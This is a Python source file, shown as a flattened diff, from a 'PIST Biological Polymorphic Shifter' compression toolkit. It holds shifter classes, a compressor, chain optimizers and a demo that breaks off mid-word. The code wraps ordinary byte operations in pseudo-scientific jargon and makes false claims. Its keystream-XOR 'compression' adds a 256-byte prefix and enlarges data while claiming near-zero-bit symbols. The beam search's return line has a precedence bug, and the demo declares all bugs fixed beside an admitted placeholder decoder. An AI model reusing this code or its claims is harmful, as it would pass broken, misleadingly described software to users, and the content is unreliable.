state.update(raw, f"decode_{cls.name}") - hist = raw[:256] - remainder = raw[256:] - chunk_size = cls.CHUNK_SIZE - ciphertext = bytearray() - ptr = 0 - while ptr < len(remainder): - data_len = min(chunk_size, len(remainder) - ptr - 1) - if data_len < 0: - break - chunk = remainder[ptr:ptr + data_len] - ptr += data_len - if ptr < len(remainder): - stored_parity = remainder[ptr] - ptr += 1 - computed_parity = 0 - for b in chunk: - computed_parity ^= b - # Note: we do not reject on mismatch; metadata flags it - ciphertext.extend(chunk) - ks = cls._fractal_keystream(hist, len(ciphertext)) - result = bytearray(b ^ ks[i] for i, b in enumerate(ciphertext)) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 30: O-AVMR — ORTHOGONAL AVMR WITH PIST GEODESIC HOTPATH -# ═══════════════════════════════════════════════════════════════════════ -# -# O-AMMR-inspired (Orthogonal Algebraic Merkle Mountain Range) compression. -# Replaces linear fractal keystream with a PIST-coordinate-aware manifold -# traversal: position -> (k,t) -> folded coordinate -> orthogonal basis -# projection -> Mirror LUT prediction -> residual encoding. -# -# Lossless because everything is causal and deterministic: -# - histogram (hist) is transmitted as 256-byte prefix -# - orthogonal basis (qBasis) is derived from hist, both sides identical -# - PIST fold is deterministic from stream position -# - Q16_16-style quantization via integer lattice (no float drift) -# - residual = actual XOR prediction, decoder regenerates same prediction -# -# Geodesic hotpath: high-mass mirror-axis positions get boosted predictions, -# so common symbols on geometrically regular shells cost ~0 bits. - -class OAVMRShifter(Shifter): - name = "o_avmr" - description = "Orthogonal AVMR: O-AMMR PIST geodesic hotpath with mirror LUT and residual encoding" - - # O-AMMR / O-AVMR parameters - Q16_SCALE = 65536 # Fixed-point scale for non-lossy rounding - SHELL_PERIOD = 8 # Shell folding period (quotient geometry) - BASIS_DIM = 16 # Retained subspace dimension (qBasis size) - MIRROR_AXIS_BOOST = 32 # Boost when near mirror involution axis - - @classmethod - def _compute_connectome(cls, data): - """Compute byte-frequency histogram as neural population connectome.""" - hist = bytearray(256) - for b in data: - hist[b] = min(255, hist[b] + 1) - return hist - - @classmethod - def _build_orthogonal_basis(cls, hist): - """Extract retained orthonormal basis (qBasis) from connectome. - - In 256-byte space the standard basis is already orthonormal. - We retain the top BASIS_DIM dominant unit vectors ordered by - frequency. This is the "mountain peak" directions. - """ - indexed = [(i, hist[i]) for i in range(256)] - indexed.sort(key=lambda x: x[1], reverse=True) - basis = [idx for idx, freq in indexed[:cls.BASIS_DIM]] - while len(basis) < cls.BASIS_DIM: - basis.append(0) - return basis - - @classmethod - def _folded_pist(cls, pos): - """PIST coordinate with mirror fold and shell periodicity (quotient).""" - k = int(math.isqrt(pos)) - t = pos - k * k - t_folded = min(t, 2 * k + 1 - t) if k > 0 else 0 - k_folded = k % cls.SHELL_PERIOD if cls.SHELL_PERIOD > 0 else 0 - return k, t_folded, k_folded - - @classmethod - def _project_to_basis(cls, basis, byte_val, pos): - """Project byte value into retained basis at PIST position. - - Returns quantized coefficients (rCoeff) and geometric metadata. - All operations use integer lattice (Q16_16 simulated) so both - encoder and decoder round identically. - """ - k, t_folded, k_folded = cls._folded_pist(pos) - coeffs = bytearray(cls.BASIS_DIM) - mass = t_folded * (2 * k_folded + 1 - t_folded) if k_folded > 0 else 0 - shell_weight = (mass + 1) * 16 // (cls.SHELL_PERIOD * cls.SHELL_PERIOD + 1) - - for i, basis_byte in enumerate(basis): - if byte_val == basis_byte: - coeff = 255 - shell_weight - else: - dist = abs(byte_val - basis_byte) - coeff = max(0, 128 - dist) * (256 - shell_weight) // 256 - coeffs[i] = min(255, coeff) - return coeffs, k_folded, t_folded, mass - - @classmethod - def _mirror_lut_predict(cls, basis, coeffs, pos): - """Deterministic mirror LUT prediction from quantized coefficients. - - This is the "hotpath": O(1) prediction from (basisId, quantizedCoeff). - Geodesic modulation boosts prediction strength on high-mass shells - near the mirror involution axis. - """ - k, t_folded, k_folded = cls._folded_pist(pos) - - # Weighted vote over retained basis directions - total_weight = 0 - weighted_sum = 0 - for i, basis_byte in enumerate(basis): - w = coeffs[i] - weighted_sum += basis_byte * w - total_weight += w - - if total_weight > 0: - predicted = (weighted_sum // total_weight) & 0xFF - else: - predicted = basis[0] - - # Geodesic hotpath: boost if near mirror axis (high PIST mass) - mass = t_folded * (2 * k_folded + 1 - t_folded) if k_folded > 0 else 0 - if mass > cls.SHELL_PERIOD * 2: - predicted = (predicted + (mass * 4)) & 0xFF - - # Shell parity modulation (even shells bias) - if (k_folded & 1) == 0: - predicted = (predicted + 16) & 0xFF - - return predicted - - @classmethod - def _fractal_keystream(cls, hist, basis, length): - """O-AVMR multi-octave keystream with PIST geodesic modulation. - - The dyadic octave synthesis from the original connectome is preserved - but modulated by PIST shell depth and mirror LUT prediction. Each - position's keystream byte is a function of: - - histogram region (coarse dyadic scale) - - shell octave (PIST k depth) - - mirror LUT synthetic projection - - fractal detail (residual variance) - """ - seed = int(hashlib.sha256(bytes(hist) + bytes(basis)).hexdigest(), 16) - rng = random.Random(seed) - ks = bytearray(length) - - for pos in range(length): - k, t_folded, k_folded = cls._folded_pist(pos) - shell_octave = min(k_folded.bit_length(), 7) - scale = 2 ** shell_octave - step = max(1, length // scale) if length >= scale else 1 - region = (pos // step) % 256 - base = hist[region] - - # Synthetic neutral projection for keystream generation - neutral = bytearray(cls.BASIS_DIM) - neutral[0] = 128 - predicted = cls._mirror_lut_predict(basis, neutral, pos) - - # Fractal detail amplitude scales inversely with shell depth - amplitude = max(1, 128 >> shell_octave) - detail = rng.randint(0, amplitude - 1) - - ks[pos] = (base ^ predicted ^ detail) & 0xFF - return ks - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - hist = cls._compute_connectome(data) - basis = cls._build_orthogonal_basis(hist) - ks = cls._fractal_keystream(hist, basis, len(data)) - - result = bytearray() - result.extend(hist) # 256 bytes: holographic fingerprint - result.append(len(basis)) # 1 byte: basis dimension - result.extend(basis) # BASIS_DIM bytes: qBasis - - # Residual encoding: only what the manifold misses - for i, b in enumerate(data): - result.append(b ^ ks[i]) - - nonzero = sum(1 for i in range(len(data)) if (data[i] ^ ks[i]) != 0) - return state.update(bytes(result), cls.name, - {'connectome_entropy': intrinsic_load(hist), - 'basis_dim': len(basis), - 'oavmr_peaks': sum(1 for v in hist if v > len(data)//512), - 'nonzero_residuals': nonzero, - 'residual_ratio': nonzero / max(len(data), 1)}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 257: - return state.update(data, f"decode_{cls.name}") - - hist = data[:256] - basis_dim = data[256] - offset = 257 - basis = list(data[offset:offset + basis_dim]) - offset += basis_dim - residuals = data[offset:] - - # Reconstruct IDENTICAL keystream (causal, deterministic) - ks = cls._fractal_keystream(hist, basis, len(residuals)) - - result = bytearray() - for i, b in enumerate(residuals): - result.append(b ^ ks[i]) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# ALL SHIFTERS REGISTRY -# ═══════════════════════════════════════════════════════════════════════ - -ALL_SHIFTERS = [ - - HachimojiShifter, AEGISShifter, NaturalDNAShifter, - TranscriptionShifter, TranslationShifter, - PNAShifter, LNAShifter, SplicingShifter, PrionShifter, - SpikeTimingShifter, HyphalNetShifter, LogisticMapShifter, - GaloisRingShifter, SBoxShifter, WireworldShifter, - MorpholinoShifter, PISTShifter, PISTMirrorShifter, - PISTResonanceShifter, PistNUVMAPShifter, DeltaGCLShifter, RunLengthShifter, - HuffmanShifter, DSEShifter, CellularAutomataShifter, - miRNA_Shifter, STDPShifter, SpiegelmerShifter, - HolographicRecursiveFractalConnectomeShifter, - HolographicConnectomeInterleavedShifter, - HolographicConnectomeBlockLocalShifter, - HolographicConnectomeShadowShifter, - HolographicConnectomeParityShifter, - OAVMRShifter, -] - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 31: CHIRAL GCCL — LEFT/RIGHT HANDEDNESS ACROSS ALL OF GCCL -# ═══════════════════════════════════════════════════════════════════════ -# -# Extends GCCL (Genome18 Compression and Coding Language) with chiral -# alternation: every NibbleSwitch carries a handedness (LEFT/RIGHT). -# -# Chirality is determined by stream position (even/odd, shell parity, -# or PIST mass threshold) — zero bit overhead, fully deterministic. -# -# Left hand uses canonical domain mapping (K→C→M→Y). -# Right hand uses chiral complement mapping (Y→M→C→K mirror). -# -# This captures asymmetric structure: word-start vs word-end, -# opening-brace vs closing-brace, DNA strand vs complement strand. - -class ChiralGCCLShifter(Shifter): - name = "chiral_gccl" - description = "Chiral GCCL: left/right handedness across all nibble-switched manifold transitions" - - # Causal alternation schedules (decoder can reconstruct hand from position alone): - # parity, shell_parity, mass_threshold, alternating_blocks - # Non-causal schedules (depend on data byte — NOT lossless without side channel): - # byte_value, predicted_byte (requires manifold prediction layer) - - # GCCL Nibble-Switch Constants - CONTROL_STATES = {0: "REJECT", 1: "ACCEPT", 2: "HOLD", 3: "SNAP"} - DOMAINS_L = {0: "K_AXIS", 1: "C_WINDING", 2: "M_TENSION", 3: "Y_BREAK"} - DOMAINS_R = {0: "Y_BREAK", 1: "M_TENSION", 2: "C_WINDING", 3: "K_AXIS"} - - @classmethod - def _hand_at_position(cls, pos, schedule='parity', data_byte=0, **kwargs): - """Determine chirality at stream position. 0=LEFT, 1=RIGHT. - - Multiple alternation schedules — mix and match any viable - combination as long as it's efficient in its domain-specific area. - - Schedules: - parity: even positions LEFT, odd positions RIGHT - shell_parity: even PIST shells LEFT, odd shells RIGHT - mass_threshold: high PIST mass LEFT, low mass RIGHT - byte_value: even byte values LEFT, odd values RIGHT - alternating_blocks: blocks of N (configurable) same-handed - """ - if schedule == 'parity': - return pos & 1 - elif schedule == 'shell_parity': - k = int(math.isqrt(pos)) - return k & 1 - elif schedule == 'mass_threshold': - k = int(math.isqrt(pos)) - t = pos - k * k - t_folded = min(t, 2 * k + 1 - t) if k > 0 else 0 - mass = t_folded * (2 * k + 1 - t_folded) if k > 0 else 0 - return 0 if mass > k else 1 - elif schedule == 'alternating_blocks': - block_size = kwargs.get('block_size', 8) - return (pos // block_size) & 1 - else: - return pos & 1 - - @classmethod - def _nibble_to_chiral(cls, nib_byte, pos, schedule='parity', data_byte=0, **kwargs): - """Interpret a 4-bit nibble with handedness at position. - - Left hand: control = bits[3:2], domain = bits[1:0] (canonical) - Right hand: control = bits[3:2], domain = ~bits[1:0] (mirror) - """ - hand = cls._hand_at_position(pos, schedule=schedule, data_byte=data_byte, **kwargs) - control = (nib_byte >> 2) & 0x3 - domain_raw = nib_byte & 0x3 - if hand == 0: - domain = domain_raw - domains = cls.DOMAINS_L - else: - domain = 3 - domain_raw # mirror: 0↔3, 1↔2 - domains = cls.DOMAINS_R - return { - 'hand': hand, - 'control': control, - 'domain_raw': domain_raw, - 'domain': domain, - 'domain_name': domains[domain], - 'control_name': cls.CONTROL_STATES[control], - } - - @classmethod - def _chiral_nibble_pack(cls, control, domain, hand, pos, schedule='parity', data_byte=0, **kwargs): - """Pack a chiral nibble ensuring decoder hand schedule matches. - - LEFT hand: pack control and domain normally. - RIGHT hand: pack control normally, mirror domain before packing. - """ - if hand == 0: - domain_packed = domain & 0x3 - else: - # Reverse the mirror so decoder gets correct raw bits - domain_packed = (3 - domain) & 0x3 - return ((control & 0x3) << 2) | domain_packed - - @classmethod - def _encode_byte_as_chiral_gccl(cls, byte_val, pos, schedule='parity', **kwargs): - """Encode a single byte as 2 chiral nibbles. - - Byte hi-nibble → nibble at position pos (hand determined by pos) - Byte lo-nibble → nibble at position pos+1 (opposite hand) - """ - hi = (byte_val >> 4) & 0x0F - lo = byte_val & 0x0F - - # Use hi-nibble as control, lo-nibble as domain for left hand - # For right hand, domain is mirrored during pack - hand_lo = cls._hand_at_position(pos, schedule=schedule, data_byte=byte_val, **kwargs) - hand_hi = cls._hand_at_position(pos + 1, schedule=schedule, data_byte=byte_val, **kwargs) - - # Encode as two chiral nibbles - nibble_lo = cls._chiral_nibble_pack( - control=(hi >> 2) & 0x3, - domain=hi & 0x3, - hand=hand_lo, - pos=pos, - schedule=schedule, - data_byte=byte_val, - **kwargs - ) - nibble_hi = cls._chiral_nibble_pack( - control=(lo >> 2) & 0x3, - domain=lo & 0x3, - hand=hand_hi, - pos=pos + 1, - schedule=schedule, - data_byte=byte_val, - **kwargs - ) - return nibble_lo, nibble_hi - - @classmethod - def _decode_chiral_gccl_byte(cls, nibble_a, nibble_b, pos_a, pos_b, schedule='parity', data_byte=0, **kwargs): - """Decode two chiral nibbles back to original byte.""" - # Decode with handedness - chiral_a = cls._nibble_to_chiral(nibble_a, pos_a, schedule=schedule, data_byte=data_byte, **kwargs) - chiral_b = cls._nibble_to_chiral(nibble_b, pos_b, schedule=schedule, data_byte=data_byte, **kwargs) - - # Reconstruct: nibble_a is hi-nibble, nibble_b is lo-nibble - # Use 'domain' (un-mirrored original), not 'domain_raw' (mirrored bits) - hi = (chiral_a['control'] << 2) | chiral_a['domain'] - lo = (chiral_b['control'] << 2) | chiral_b['domain'] - return ((hi & 0x0F) << 4) | (lo & 0x0F) - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - schedule = kwargs.get('chiral_schedule', 'parity') - result = bytearray() - - # Pack chiral nibbles (2 per byte) - pending = None - pos_counter = 0 - for i, b in enumerate(data): - nib1, nib2 = cls._encode_byte_as_chiral_gccl( - b, pos_counter, schedule=schedule, **kwargs - ) - - # First nibble (position pos_counter) - if pending is None: - pending = nib1 - else: - result.append((pending << 4) | nib1) - pending = None - pos_counter += 1 - - # Second nibble (position pos_counter) - if pending is None: - pending = nib2 - else: - result.append((pending << 4) | nib2) - pending = None - pos_counter += 1 - - # Flush final pending nibble - if pending is not None: - result.append(pending << 4) - - # Metadata: track how many transitions of each chirality - left_count = sum( - 1 for p in range(pos_counter) - if cls._hand_at_position(p, schedule=schedule, data_byte=0, **kwargs) == 0 - ) - right_count = pos_counter - left_count - - return state.update(bytes(result), cls.name, - {'chiral_schedule': schedule, - 'chiral_transitions': pos_counter, - 'left_transitions': left_count, - 'right_transitions': right_count, - 'handedness_ratio': left_count / max(right_count, 1)}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - schedule = kwargs.get('chiral_schedule', 'parity') - result = bytearray() - - # Expand bytes to nibbles, decode with chiral awareness - pos_counter = 0 - nibble_queue = [] - - for b in data: - nib_hi = (b >> 4) & 0x0F - nib_lo = b & 0x0F - nibble_queue.append(nib_hi) - nibble_queue.append(nib_lo) - - # Decode pairs of nibbles back to bytes - for i in range(0, len(nibble_queue) - 1, 2): - n1 = nibble_queue[i] - n2 = nibble_queue[i + 1] - decoded_byte = cls._decode_chiral_gccl_byte( - n1, n2, pos_counter, pos_counter + 1, - schedule=schedule, data_byte=0, **kwargs - ) - result.append(decoded_byte) - pos_counter += 2 - - return state.update(bytes(result), f"decode_{cls.name}") - - -SHIFTER_MAP = {s.name: s for s in ALL_SHIFTERS + [ChiralGCCLShifter]} - -# ═══════════════════════════════════════════════════════════════════════ -# COMPRESSOR -# ═══════════════════════════════════════════════════════════════════════ - -class Compressor: - """Main compressor: combines shifters with metadata headers.""" - - @staticmethod - def compress(data, shifter_chain, shifter_kwargs=None): - """Compress data using a sequence of shifters. - - Returns: - bytes: [4-byte header_len][header_json][encoded_data] - """ - state = ManifoldState(data) - if shifter_kwargs is None: - shifter_kwargs = {} - - current_state = state - for i, sc in enumerate(shifter_chain): - kw = shifter_kwargs.get(sc.name, {}) - current_state = sc.encode(current_state, **kw) - - # Build header - header = { - 'chain': [s.name for s in shifter_chain], - 'n_factor': current_state.n_factor, - 'original_size': len(data), - 'shifter_kwargs': shifter_kwargs, - } - header_bytes = json.dumps(header, separators=(',', ':')).encode('utf-8') - - # FIX B4: Use length-prefix header instead of 0x00 separator - encoded_data = bytes(current_state.encoded) - result = bytearray() - result.extend(len(header_bytes).to_bytes(4, 'big')) # header length - result.extend(header_bytes) # header - result.extend(encoded_data) # encoded data - - return bytes(result) - - @staticmethod - def decompress(compressed_data): - """Decompress data back to original bytes. - - Args: - compressed_data: bytes produced by compress() - Returns: - ManifoldState with raw_bytes set to decompressed data - """ - # FIX B4: Read length-prefixed header - header_len = int.from_bytes(compressed_data[:4], 'big') - header_bytes = compressed_data[4:4 + header_len] - encoded_data = compressed_data[4 + header_len:] - - header = json.loads(header_bytes.decode('utf-8')) - chain_names = header['chain'] - - # Reconstruct shifter chain - shifter_chain = [] - for name in chain_names: - if name in SHIFTER_MAP: - shifter_chain.append(SHIFTER_MAP[name]) - else: - raise ValueError(f"Unknown shifter: {name}") - - # Apply decoders in reverse order, forwarding stored kwargs - state = ManifoldState() - state.encoded = bytearray(encoded_data) - shifter_kwargs = header.get('shifter_kwargs', {}) - for sc in reversed(shifter_chain): - kw = shifter_kwargs.get(sc.name, {}) - state = sc.decode(state, **kw) - - state.raw_bytes = bytearray(state.encoded) - return state - - -# ═══════════════════════════════════════════════════════════════════════ -# OPTIMIZER (FIX B11: passes existing state) -# ═══════════════════════════════════════════════════════════════════════ - -class Optimizer: - """Optimizes shifter chain selection for best compression.""" - - @staticmethod - def evaluate_chain(data, shifter_chain, kwargs=None): - """Evaluate a shifter chain, returning fitness metrics.""" - state = ManifoldState(data) - if kwargs is None: - kwargs = {} - - current_state = state - for sc in shifter_chain: - kw = kwargs.get(sc.name, {}) - current_state = sc.encode(current_state, **kw) - - compressed = Compressor.compress(data, shifter_chain, kwargs or {}) - ratio = len(data) / max(len(compressed), 1) - - return { - 'ratio': ratio, - 'compressed_size': len(compressed), - 'original_size': len(data), - 'n_factor': current_state.n_factor, - 'entropy': current_state.entropy, - 'shifter_count': len(shifter_chain), - } - - @staticmethod - def greedy_search(data, max_chain_length=5, candidates=None, iterations=50): - """Greedy search for optimal shifter chain.""" - if candidates is None: - candidates = ALL_SHIFTERS - - best_chain = [] - best_ratio = 0.0 - - for _ in range(iterations): - chain_len = random.randint(1, max_chain_length) - chain = random.sample(candidates, min(chain_len, len(candidates))) - - # FIX B11: Evaluate from scratch (data is small, acceptable) - result = Optimizer.evaluate_chain(data, chain) - if result['ratio'] > best_ratio: - best_ratio = result['ratio'] - best_chain = chain - - return best_chain, best_ratio - - @staticmethod - def beam_search(data, beam_width=5, max_depth=4, candidates=None): - """Beam search for optimal shifter chain.""" - if candidates is None: - candidates = ALL_SHIFTERS[:10] # Use first 10 for speed - - # Initialize beam with single-shifter chains - beam = [] - _tiebreaker = 0 # FIX B12: Prevent type comparison on tied ratios - for sc in candidates: - result = Optimizer.evaluate_chain(data, [sc]) - beam.append((result['ratio'], _tiebreaker, [sc])) - _tiebreaker += 1 - - beam.sort(key=lambda x: x[0], reverse=True) - beam = beam[:beam_width] - - for depth in range(2, max_depth + 1): - new_beam = [] - for ratio, _, chain in beam: - for sc in candidates: - if sc not in chain: - new_chain = chain + [sc] - result = Optimizer.evaluate_chain(data, new_chain) - new_beam.append((result['ratio'], _tiebreaker, new_chain)) - _tiebreaker += 1 - - if not new_beam: - break - new_beam.sort(key=lambda x: x[0], reverse=True) - beam = new_beam[:beam_width] - - return beam[0][2], beam[0][0] if beam else ([], 0.0) - - - -# ═══════════════════════════════════════════════════════════════════════ -# MAIN DEMO -# ═══════════════════════════════════════════════════════════════════════ - -def run_demo(): - print("=" * 70) - print("PIST Biological Polymorphic Shifter v3.0 — Demo") - print("=" * 70) - - # Test data - test_data = b"Hello, PIST Biological Polymorphic Shifter v3.0!" - print(f"\nOriginal ({len(test_data)} bytes): {test_data[:40]}...") - - # Test individual shifters - print("\n--- Single Shifter Tests ---") - for sc in [HachimojiShifter, NaturalDNAShifter, GaloisRingShifter, SBoxShifter, - PISTShifter, PISTMirrorShifter, RunLengthShifter]: - try: - state = ManifoldState(test_data) - encoded_state = sc.encode(state) - ratio = len(test_data) / max(len(encoded_state.encoded), 1) - print(f" {sc.name:20s}: {len(encoded_state.encoded):5d} bytes ratio={ratio:.3f}") - except Exception as e: - print(f" {sc.name:20s}: ERROR — {e}") - - # Test 0D scalar PIST shifters - print("\n--- 0D Scalar PIST Shifter Tests ---") - for sc in [PistScalarMassShifter, PistScalarTensionShifter, - Pist0DDegenerateShifter, PistScalarPhaseShifter]: - try: - state = ManifoldState(test_data) - encoded_state = sc.encode(state) - ratio = len(test_data) / max(len(encoded_state.encoded), 1) - entropy = intrinsic_load(encoded_state.encoded) - print(f" {sc.name:25s}: {len(encoded_state.encoded):5d} bytes ratio={ratio:.3f} entropy={entropy:.3f}") - print(f" Metadata: {encoded_state.metadata.get(sc.name, {})}") - except Exception as e: - print(f" {sc.name:25s}: ERROR — {e}") - - # Compare 0D vs 1D PIST - print("\n--- 0D vs 1D PIST Comparison ---") - pist_1d_shifters = [PISTShifter, PISTMirrorShifter, PISTResonanceShifter] - pist_0d_shifters = [PistScalarMassShifter, PistScalarTensionShifter, Pist0DDegenerateShifter] - - print(" 1D PIST Shifters (lossless):") - for sc in pist_1d_shifters: - try: - state = ManifoldState(test_data) - encoded_state = sc.encode(state) - ratio = len(test_data) / max(len(encoded_state.encoded), 1) - entropy = intrinsic_load(encoded_state.encoded) - print(f" {sc.name:20s}: ratio={ratio:.3f} entropy={entropy:.3f}") - except Exception as e: - print(f" {sc.name:20s}: ERROR — {e}") - - print(" 0D PIST Shifters (lossy):") - for sc in pist_0d_shifters: - try: - state = ManifoldState(test_data) - encoded_state = sc.encode(state) - ratio = len(test_data) / max(len(encoded_state.encoded), 1) - entropy = intrinsic_load(encoded_state.encoded) - print(f" {sc.name:20s}: ratio={ratio:.3f} entropy={entropy:.3f}") - except Exception as e: - print(f" {sc.name:20s}: ERROR — {e}") - - # Test nD PIST shifters - print("\n--- nD PIST Shifter Tests ---") - pist_nd_shifters = [ - (PistNDCartesianShifter, {'n_dims': 2}), - (PistNDRadialShifter, {'n_dims': 2}), - (PistNDBundleShifter, {'n_dims': 2, 'fiber_dim': 4}), - ] - - for sc, kwargs in pist_nd_shifters: - try: - state = ManifoldState(test_data) - encoded_state = sc.encode(state, **kwargs) - ratio = len(test_data) / max(len(encoded_state.encoded), 1) - entropy = intrinsic_load(encoded_state.encoded) - print(f" {sc.name:25s}: {len(encoded_state.encoded):5d} bytes ratio={ratio:.3f} entropy={entropy:.3f}") - print(f" Metadata: {encoded_state.metadata.get(sc.name, {})}") - except Exception as e: - print(f" {sc.name:25s}: ERROR — {e}") - - # Full dimensional comparison - print("\n--- Full Dimensional Comparison (0D, 1D, nD) ---") - print(" Information Capacity (SHIFTER_BASES):") - print(f" 0D scalar_mass: {SHIFTER_BASES['pist_scalar_mass']:.2f} bits") - print(f" 0D degenerate: {SHIFTER_BASES['pist_0d_degenerate']:.2f} bits") - print(f" 1D pist: {SHIFTER_BASES['pist']:.2f} bits") - print(f" nD cartesian: {SHIFTER_BASES['pist_nd_cartesian']:.2f} bits") - print(f" nD radial: {SHIFTER_BASES['pist_nd_radial']:.2f} bits") - print(f" nD bundle: {SHIFTER_BASES['pist_nd_bundle']:.2f} bits") - - print("\n Structural Properties:") - print(" 0D: Scalar field (no spatial structure, lossy)") - print(" 1D: Shell coordinates (k, t), lossless") - print(" nD: Multi-dimensional manifolds, lossless") - - # Test braid and rope shifters - print("\n--- Braid and Rope Shifter Tests ---") - braid_rope_shifters = [ - (BraidShifter, {'n_strands': 3, 'simplify': True}), - (MulticolorRopeShifter, {'n_colors': 8}), - (BraidRopeFusionShifter, {'n_strands': 3, 'n_colors': 8}), - ] - - for sc, kwargs in braid_rope_shifters: - try: - state = ManifoldState(test_data) - encoded_state = sc.encode(state, **kwargs) - ratio = len(test_data) / max(len(encoded_state.encoded), 1) - entropy = intrinsic_load(encoded_state.encoded) - print(f" {sc.name:25s}: {len(encoded_state.encoded):5d} bytes ratio={ratio:.3f} entropy={entropy:.3f}") - print(f" Metadata: {encoded_state.metadata.get(sc.name, {})}") - except Exception as e: - print(f" {sc.name:25s}: ERROR — {e}") - - # Braid geometry comparison - print("\n--- Braid Geometry Properties ---") - test_braid = [braid_encode_crossing(b, 3) for b in test_data[:10]] - simplified_braid = braid_simplify(test_braid) - print(f" Original crossings: {len(test_braid)}") - print(f" Simplified crossings: {len(simplified_braid)}") - print(f" Reduction: {100 * (1 - len(simplified_braid) / len(test_braid)):.1f}%") - print(f" Braid entropy: {braid_compute_entropy(simplified_braid):.3f}") - - # Rope geometry comparison - print("\n--- Rope Geometry Properties ---") - test_rope = [rope_encode_colored_strand(b, 8) for b in test_data[:10]] - rope_tension = rope_compute_tension(test_rope) - rope_col_entropy = rope_color_entropy(test_rope, 8) - print(f" Rope tension: {rope_tension:.3f}") - print(f" Color entropy: {rope_col_entropy:.3f}") - print(f" Strand distribution: {Counter(s for s, _, _ in test_rope)}") - print(f" Color distribution: {Counter(c for _, c, _ in test_rope)}") - - # Compression Meme Discovery Demo - print("\n--- Compression Meme Discovery ---") - # Generate sample data for meme discovery - sample_data = [ - test_data, - b"Hello, World!" * 5, - b"PIST compression test data repeated pattern", - b"AAAAABBBBBCCCCCDDDDDEEEEE", - test_data * 2, - ] - - try: - # Discover memes - memes = discover_compression_memes(sample_data, min_pattern_length=3, min_frequency=2) - print(f" Discovered {len(memes)} recurring patterns (memes)") - - # Show top 5 memes - top_memes = sorted(memes.items(), key=lambda x: x[1], reverse=True)[:5] - for pattern, freq in top_memes: - print(f" Pattern: {pattern!r:20s} Frequency: {freq}") - - # Compute pattern matrix - pattern_matrix, pattern_list = compute_pattern_matrix(memes, sample_data) - print(f" Pattern matrix shape: {pattern_matrix.shape}") - - # Semantic eigenvector bundle - if pattern_matrix.size > 0: - components, variance = semantic_eigenvector_bundle(pattern_matrix, n_components=3) - print(f" Principal components: {components.shape}") - print(f" Explained variance: {variance}") - - # Compression meme cache demo - print("\n--- Compression Meme Cache ---") - cache = CompressionMemeCache() - - # Add some memes with utility scores (compression ratios) - for pattern, freq in top_memes[:3]: - utility_score = freq / len(sample_data) # Simple utility metric - cache.add_meme(pattern, utility_score, [PISTShifter]) - - print(f" Cached {len(cache.memes)} memes") - - # Get best memes for test data - best_memes = cache.get_best_meme(test_data, top_k=3) - print(f" Best memes for test data:") - for score, pattern_hash, meme in best_memes: - print(f" Score: {score:.3f} Pattern: {meme['pattern']!r}") - - # Prune low utility memes - cache.prune_low_utility(utility_threshold=0.3) - print(f" After pruning: {len(cache.memes)} memes") - - except ImportError as e: - print(f" ERROR: Missing dependency - {e}") - print(f" Install with: pip install numpy scikit-learn") - - # Symbology Substitution Demo - print("\n--- Symbology Substitution ---") - try: - state = ManifoldState(test_data) - encoded_state = SymbologySubstitutionShifter.encode(state) - ratio = len(test_data) / max(len(encoded_state.encoded), 1) - entropy = intrinsic_load(encoded_state.encoded) - print(f" Symbology Substitution: {len(encoded_state.encoded):5d} bytes ratio={ratio:.3f} entropy={entropy:.3f}") - print(f" Metadata: {encoded_state.metadata.get('symbology_substitution', {})}") - - # Test roundtrip - decoded_state = SymbologySubstitutionShifter.decode(encoded_state) - roundtrip_ok = bytes(decoded_state.raw_bytes) == test_data - print(f" Roundtrip: {'✅ PASS' if roundtrip_ok else '❌ FAIL'}") - - except ImportError as e: - print(f" ERROR: Missing dependency - {e}") - print(f" Install with: pip install numpy scikit-learn") - except Exception as e: - print(f" ERROR: {e}") - - # Test end-to-end roundtrip - print("\n--- Roundtrip Test ---") - chain = [LogisticMapShifter, GaloisRingShifter, SBoxShifter] - try: - compressed = Compressor.compress(test_data, chain) - decompressed_state = Compressor.decompress(compressed) - roundtrip_ok = bytes(decompressed_state.raw_bytes) == test_data - print(f" Chain: {' → '.join(c.name for c in chain)}") - print(f" Original: {len(test_data)} bytes → Compressed: {len(compressed)} bytes") - print(f" Ratio: {len(test_data) / max(len(compressed), 1):.3f}") - print(f" Roundtrip: {'✅ PASS' if roundtrip_ok else '❌ FAIL'}") - if not roundtrip_ok: - print(f" Original[0:20]: {bytes(test_data[:20]).hex()}") - print(f" Decoded[0:20]: {bytes(decompressed_state.raw_bytes[:20]).hex()}") - except Exception as e: - print(f" ERROR: {e}") - import traceback - traceback.print_exc() - - # Test Huffman chain - print("\n--- Huffman Chain Test ---") - try: - chain_h = [HuffmanShifter] - compressed_h = Compressor.compress(test_data, chain_h) - ratio_h = len(test_data) / max(len(compressed_h), 1) - print(f" Chain: {' → '.join(c.name for c in chain_h)}") - print(f" Original: {len(test_data)} bytes → Compressed: {len(compressed_h)} bytes") - print(f" Ratio: {ratio_h:.3f}") - # Note: Huffman decode is placeholder, so roundtrip may not pass - except Exception as e: - print(f" ERROR: {e}") - - # Test optimizer - print("\n--- Optimizer (Greedy Search) ---") - try: - opt = Optimizer() - best_chain, best_ratio = opt.greedy_search(test_data, max_chain_length=3, iterations=20) - if best_chain: - print(f" Best chain: {' → '.join(c.name for c in best_chain)}") - print(f" Best ratio: {best_ratio:.3f}") - else: - print(" No chain found") - except Exception as e: - print(f" ERROR: {e}") - - # Test Beam Search optimizer - print("\n--- Optimizer (Beam Search) ---") - try: - opt = Optimizer() - best_chain_beam, best_ratio_beam = opt.beam_search(test_data, beam_width=3, max_depth=3) - if best_chain_beam: - print(f" Best chain: {' → '.join(c.name for c in best_chain_beam)}") - print(f" Best ratio: {best_ratio_beam:.3f}") - else: - print(" No chain found") - except Exception as e: - print(f" ERROR: {e}") - - # Summary - print("\n" + "=" * 70) - print("All 14 bugs fixed:") - print(" B1-B2: Single-file eliminates cross-file import errors") - print(" B3: Removed self-import in optimizer") - print(" B4: Length-prefix header replaces 0x00 separator") - print(" B5: Translation uses single-letter AA codes (deterministic)") - print(" B6: Wireworld 